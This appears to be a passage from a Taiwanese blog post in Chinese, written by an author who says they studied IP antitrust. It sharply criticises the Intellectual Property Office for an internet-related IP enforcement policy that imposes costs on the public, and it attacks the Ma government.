要知道,智財局為了保護少數權利人,卻要多數人付出更多代價(包含要增加的稅金),值得嗎?在經濟不景的現在,強迫多數人使用網路時負擔額外成本,是一種消費強迫轉移,在經濟分析上肯定是淨損。

題外話一句,你智財局因為人手不足,專利審查老是延宕多時,你為什麼不把資源擺在聘請更多審查官上?而是要放在這種莫名其妙且侵害人民權利的事情上?

本站作者我,在美國研究所就是專攻智財權的反托拉斯行為,因此本站一直很強調智財權的保護,在經濟分析上有其重要利益與意義。但這種過度保護,付出重大代價卻不見得能賺回多少利益,甚至讓政府習慣黑手插入原本是私法糾紛的私人關係中,此例一開,對台灣經濟與文化乃至於人民個人獨立性,都是弊大於利!

馬政府,剩三年,別下台前真蠢到在歷史上留下臭名!